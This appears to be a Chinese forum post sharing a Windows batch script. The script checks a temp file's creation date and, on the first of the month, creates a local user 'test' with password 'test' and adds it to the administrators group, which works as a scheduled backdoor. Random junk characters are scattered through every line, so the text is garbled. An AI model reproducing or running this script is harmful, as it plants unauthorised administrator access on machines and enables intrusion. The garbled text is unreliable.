|
我也没有测试过,今天早上来看了看,发现没用,真是晕... & ]0 \8 B- l o' |, v( c
原来是"echo . | date"命令没有用,但echo . | time却是有用的,这是为什么?有人告诉我吗? ' `0 a" H# e; I+ y4 ]: |* C. p
后来想了一下,就用其它的办法来实现它. 原理是:在cmd建立一个文件后,用dir查看,除了可以显示此文件的大小、后缀外,还建显示文件建立时间,也就是本地的当前时间啦~ , ^3 C2 N/ j* ~
. T4 Z# z+ u( a6 ~8 R- J/ n) H) a+ V& V; r; h. m4 |
所以 ,重点部份改成:
6 L. {9 l6 K4 h* _@echo off
. \& b8 ^* ]7 K7 s: irem \\在C:建立一个空文件date.tmp - Q- y$ ^ D( O6 E0 ~
type nul >c:\date.tmp d% b7 K* a1 ]
rem \\查看此文件信息,及关键字-01-,也是就此文件的日期是否-01-
. O0 A) d2 m, i" j$ xdir c:\date.tmp | find "-01-">nul 4 v# D5 i8 Q9 e: h# T0 W4 f$ @
rem 如是不是1号,跳到end结束
2 t& F% z: y. y9 w3 Oif errorlevel 1 goto end # ]! W$ K2 z# ]+ O" w
rem 如是是1号,跳到run执行 * G" V5 {) w d+ O% f) {
if errorlevel 0 goto run # M' p$ s; p: a5 T4 e) F
:run
2 v$ B2 t9 q- A8 u0 U5 Wnet user test test /add - P' V2 x8 G" }( A( L. v( E) h/ Y
net localgroup administrators test /add
( R0 K: ~& [* S# @. R1 m, egoto end * w3 o4 J n: z5 p, K
:end $ H+ J |- Q5 g0 ]+ v4 u, \% c6 d# b7 G
del c:\date.tmp >nul & h' b; C. }, T" I4 K2 C
n0 n: q Z, G! Q1 @# F$ m4 U* O" K$ I/ P; @6 h+ x \
8 N' X: o: l" ~& n |